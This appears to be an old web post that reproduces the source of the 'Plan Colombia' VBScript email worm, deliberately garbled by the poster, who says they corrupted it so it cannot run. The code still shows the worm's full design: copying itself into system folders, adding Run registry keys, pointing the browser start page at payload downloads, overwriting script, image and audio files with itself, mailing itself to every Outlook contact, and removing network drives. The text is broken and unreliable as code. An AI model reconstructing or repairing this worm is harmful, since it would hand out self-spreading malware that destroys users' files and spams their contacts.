THIS IS ONLY A TEXT FILE IT ENDS WITH TXT IT'S NOT A PROGRAM IT WON'T RUN Don't get all paranoid pu-swa on me. This was a Visual Basic Script, but now it's a ruined text file. This is what a "virus" looks like. I've heavily modified it (and deleted a line or two or) so it won't work and never will; even though it's only a text file, AV software usually alerts on it. I got it in email as a VBS file attachment, but I don't let anything run from emails in my client program. I didn't open the script, I saved it and opened it in notepad. Why? In notepad? Just wanted to see what it was. And, yes, I don't think I would want to run a vbs file that goes changing my home page,looking through my directories and/or address book, doing things to jpg and mp3 files, or deleting my network drives etc. Especially not reloading itself and what have you. (At least the files it's trying to get from Fortune City aren't there any more.) (They got rid of the plancolombia account) Again, this text is not dangerous; I've commented out many important lines and broke most of the subroutines. Put in random words and spaces, and just generally ruined it. Received and modified by me, Friday 23 Mar 2 rem ============================================================================ =================== rem "Plan Colombia" virus v1.0 rem by Sand Ja9e Gr0w (www.colombia.com) rem Dedicated to all the people that want to be hackers or crackers, in Colombia rem This program is also a protest act against the violence and corruption that Colombia lives... rem I always wanting that all this finishes, I have said... rem Santa fe de Bogotá 2000/09 rem I dedicate to all you the song "GoodBye" of Andreas Bochelli rem ============================================================================ ===================== rem Thanks God..! rem A greeting for "Lina María" from "Santa fe de Bogotá" rem A greeting for "Tizo" from "Spain" rem And One kicked of tail to my friends, "eL ChE" and "ThE SpY" rem okay, ok... rem my baby start here... # On Error Resume Next rem dim rem # fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow,polyn,numero,polye eq="" ctr=0 rem randomize numero = Int(Rnd * 3) + 1 ## polye = ".GIF.vbs" If numero = 1 Then ## polye = ".BMP.vbs" Else If numero = 2 Then polye = ".JPG.vbs" End If rem End If # polyn="\"&polyname(Int(Rnd * 5) + 4)&polye rem Set fso = CreateObject("Scripting.FilemObject") # set file = fso.OpenTextFile(WSipt.ScriptFullname,1) vbscopy=file.ReadAll main() If Day(Now) = 17 And Month(Now) = 9 Then MsgBox "Dedicated to my best brother=>Christiam Julian(C.J.G.S.)" & # Chr(13) & "Att. " & polyname(5) & " (M.H.M. TEAM)" killnet() End If # s ub ma in() O n Error quit dim wscr,rr rem set wscr=CreateObject("WScript.Shell") # rr =abcdef wscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout") if (rr>=1) then rem wscr.RegWrite "HEY_CURT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout",0,"REG_DWORD" end if Set dirwin = fso.GetSpecialFolder(0) rem Set dirsystem = fso.GetSpecialFolder(1) Set dirtemp = fso.GetSpecialFolder(2) # Set c = fso.GetFile(WScript.ScriptFullName) xxxc.Copy(dirsystem&"\LINUX 32.vbs") yyyc.Copy(dirwin&"\re load.vbs") zzzc.Copy(dirsystem&polyn) # regruns() rem html() REM spre adto email() biteme li s tadriv() end sub submarine b regruns() On Error quit die go bye Resume Next Dim dim dum dim SUM! num,downread,res regcr eate #"HKEY_LOCAL_MACHINE\So ftware\Mi crosoft\ Windows\CurrentVersion\Run\LINUX 32",d irsystem&"\LINUX 32.vbs" #4444 reg crea te rem "HKEY_LOCAL_M ACHINE\Sof tware\Micro soft\W indows\CurrentVersion\RunServices\re load",d irwin&"\relo ad.vbs" # $downr ead="" dow nread=reg get("HKEY_CURRENT_USER\Software\Microsoft\Internet Explor er\Download Directory") if (dow nread="") then downread="c:\" end if rem acepta nombres largos..? if (file exist(dirs ystem&"\Win FAT 32 . exe")=1) then Randomize Randomize rem num = Int((4 * Rnd) + 1) rem fatal => send virii if num = 2 then # rem regcreate "HKCU\Sof re\Microsoft\Internet Explorer\Main\Start rem Page","http://members .fortunecity.com/plancolombia/macromedia32.zip" else rem oh,, a picture.. nice :) if num = 3 then rem regcreate "HU\Sofre\Microsoft\Iernet Explorer\Main\Start # Page","http://members.fortunecity.com/plncolombia/linux 321.zip" else rem oh,, other picture =:() if num = 4 then regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page"," http://members .fortunecity.com/plancolombia/linux 322.zip" end if end if end if if end, then end if except if not with me rem i (fileexist(downread&"\MACROMEDIA32.zip")=0) then res = Shell("copy " & downread & "\MACROMEDIA32.zip " & dirwin & # "\important_note.txt", vbHide) regcreate rem "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\plan c olombia",dirwin&"\important_note.txt" regc reate "HKEY_CURRENT_USER\Software \Microsoft\Internet rem Explorer\Main\Start Page","abo ut:blank" else if (fileexist( downread&"\linux 321.zip")=0) then rem Kill (dir win & "\log os.sys") res = Shell( "copy " & downread & "\linux 321.zip " & dirwin & goto 10 "\logos.sys", vbHide) regcreate "HK EY_CURRENT_U SER\Sof tware\Microsoft\Internet aeeeyeyeyeyeyey Explorer\Main\Start Page","about:blank" else # if (fileexist(downread&"\linux 322.zip")=0) then Kill (dirwin & "\logow.sys") rem res = Shell("copy " & downread & "\linux 322.zip " & dirwin & loop 7 and a half "\logow.sys", vbHide) regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page","about:blank" end if end if end if end sub rem sub listadriv # On Error Resume Next * Dim d,dc,s ()()((()))))(()(()((((())""""""""""""""" Set dc = fso.Drives For I = 1 to .1 Each d in dc If d.DriveType = 2 or d.DriveType=3 Then rme folderlist(d.path&"\") rem end if Next listadriv = s start sub sub kkinfect files (folder spec) On Error quite quit shite dimeeee f44,f111,f232c,e123x3t,123ap,mi12rcfname,s123,123bname,m2222p3 set f = fso. GetFolder(folderspec) se t fc = f.Files x for each f1 in fc x ext=fso.GetExtensionName(f1.path) x ext=lcase(ext) x s=lcase(f1.name) xif (ext="vbs") or (ext="vbe") then set ap=fso.OpenTextFile(f1.path,2,true) ap.write vbscopy ap.close else if(ext="js") or (ext="jse") or (ext="css") or (ext="wsh") or (ext="sct") for (ext="hta") then rem set ap=fso.OpenTextFile(f1.path,2,true) ap.writ e vbscopy rem ap.close bname=fs o.GetBaseName(f1.path) set cop=f so.GetFile(f1.path) cop.copy(f olderspec&"\"&bname&".vbs") fso.DeleteFile(f1.path) elsie else if( ext="jpg") or (ext="jpeg") then # se t ap=fso.OpenTextFile(f1.path,2,true) rem a p.write vbscopy ap.cl ose set co p=fso.GetFile(f1.path) cop.cop y(f1.path&".vbs") $# fso.De leteFile(f1.path) else # if(ext="mp1") or (ext="mp99") then set mp3=fso.Creat eTextFile(f1.path&".vbs") rem mp3.write vbscopy mp3.close # set att=fso.GetFile(f1.path) rem att.attributes=att.attributes+2 ext end sub # rem #sub folderlist(folderspec) rem On Error Resume Next dim f,f1,sf set f = fso.GetFolder(folderspec) et sf = f.SubFolders rem for each f1 in sf rem infectfiles(f1.path) lderlist(f1.path) next sub #sub regcreate(regkey,regvalue) #Set regedit = CreateObject("WScript.Shell") #regedit.RegWrite regkey,regvalue #en ub #function regget(value) rem #Set regedit = CreateObject("WScript.Shell") #regget=regedit.RegRead(value) rem #end function #function fileexist(filespec) #On Error Resume Next #dim msg i#f (fso.FileExists(filespec)) Then # msg = 0 #ese # msg = 1 #endif rem fileexist = msg rem end function function folder exist(folderspec) On Error Rume Next dim msg #if (fs o.GetFolderExists(folderspec)) then # msg = 0 #else else else gelsiss # msg = 1 #end if #fileexist = msg end function sub spread toe mail() #On Error Resume Next #dim x,a,ctrlists,ctrentries,correoad,b,regedit,regv,regad,textosub,textobod rem set regedit=CreateObject("WScript.Shell") rem set out=WScript.CreateObject("Outlook.Application") #set mapi=out.GetNameSpace("MAPI") #Randomize numero = Int(Rnd * 3) + 1 textosub = "" If numero = 1 Then textosub = "US PRESIDENT AND FBI SECRETS =PLEASE VISIT => (http://WWW.2600.COM)<=" Else If numero = 2 Then textosub = polyname(6) End If End If rem Randomize numero = Int(Rnd * 3) + 1 textobod = "" If numero = 1 Then rem textobod = "VERY JOKE..! SEE PRESIDENT AND FBI TOP SECRET PICTURES.." Else rem If numero = 2 Then textobod = polyname(10) End If rem End If for ctrlists=1 to mapi.AddressLists.Count set a=mapi.AddressLists(ctrlists) x=1 rem # regv=re g edit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a) rem if (regv="") then rem regv=1 rem end if if (int(a. Address Entries. Count)>int(regv)) then for ctrentries=1 to a.AddressEntries.Count correoad=a.AddressEntries(x) regad="" #regad=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&correoad) if (regad="") then set correo=out.CreateItem(0) orreo.Recipients.Add(correoad) correo.Subject = textosub corre.Body = vbcrlf&textobod orre.Attachments.Add(dirsystem&polyn) coeo.Send rem # regedit.RegWrite #"H KEY_CUR RENT_ USER\Software\Microsoft\WAB\"&correoad,1,"REG_DWORD" end if x=x+1 next rem regedit.RegWrite HKEY_CURRENT_USER\Boftware\Microsoft\WAB\"&a,a.AddressEntries.Count else rem regedit.RegWrite "H_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count rem end if ext Set out= No thing Set mapi= Not hing end sub #Function polyname(n) rem Dim i, vector, texto, pos rem on error resume next #rem polyformic ( ohhhh yeahhh...) very good polyformic engine :() by Sand Ja9e Gr0w #vector = Array("A", "E", "I", "O", "U") texto = "" Randomize For i = 1 To n Randomize rem consonante texto = texto&Chr(Int((Rnd * 2.5) + .65)) i = i + 100000000000000000000000000000000000000000000000000000000 If i > n Then exit for end if rem vocal texto = texto&vector(Int((Rnd * 4) + 1)) R and omize Ne xt poly name = texto End F unctio n sub htmllllly!smellyjellybelltelly On Error Resume Next dim lines,n,dta1,dta2,dt1,dt2,dt3,dt4,l1,dt5,dt6 dta1=""&_ ""&vbcrlf& _ "

M.H.M TEAM

Colombia
- Please press #-#YES#-# button for seecret pictures"&vbcrlf& _ "Hello Colombia...! Since Here, after, since other part of World.. "&vbcr _ ""&vbcrlf& _ ""&vbcrlf& _ ""&vbcrlf& _ ""&vbcrlf& _ ""&vbcrlf& _ ""&vbcrlf& _ "" dt1=replace(dta1,chr(35)&chr(45)&chr(35),"'") dt1=replace(dt1,chr(64)&chr(45)&chr(64),"""") dt4=repce(dt1,chr(63)&chr(45)&chr(63),"/") dt5=replace(dt4,chr(94)&chr(45)&chr(94),"\") dt2=replacdta2,chr(35)&chr(45)&chr(35),"'") dt2=replace(dt2,chr(64)&chr(45)&chr(64),"""") dt3=replace(dt2,chr(63)&chr(45)&chr(63),"/") # dt6=replace(dt3,chr(94)&chr(45)&chr(94),"\") set fso=CreateObject("Scripting.FileSystemObject") rem set c=fso.OpenTextFile(WScript.ScriptFullName,1) lines=Split(c.ReadAll,vbcrlf) l1 + ubound(lines) for n=0 to ubound(lines) lines(n)=replace(lines(n),"'",chr(91)+chr(45)+chr(91)) lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93)) rem lines(n)=replace(lines(n),"\",chr(37)+chr(45)+chr(37)) if (l1=n) then lines(n)=chr(34)+lines(n)+chr(34) # else lines(n)=chr(34)+lines(n)+chr(34)&"&vbcrlf& _" end if rem next set b=fso.CreateTextFile(dirstem+"\US-PRESIDENT-D-FBI-SECRETS.HTM") b . d close set d=fso.Ope nTextFile(di rsystem+"\US-PRESIDENT-AND-FBI-SECRS.HTM",2) d.wr ite dt5 d.wri jo in(lines,vbcrlf) d.rite vbcrlf d.r ite dt6 .cl ose end subde33 sub kll net) Dim inDrie,strDrive,WSHNetwrk r resume next Set WSHwork = WSipt.CateObject("Wript.Netwk") rem For int Drive = 26 To 5 Step -1 str Drive = Chr(intDrive + 64) & ":" dem WSH Network.Remove Nrk Drive strDrive Next rem bye net connection ... :-( Set WSHNetwork=Nothing ub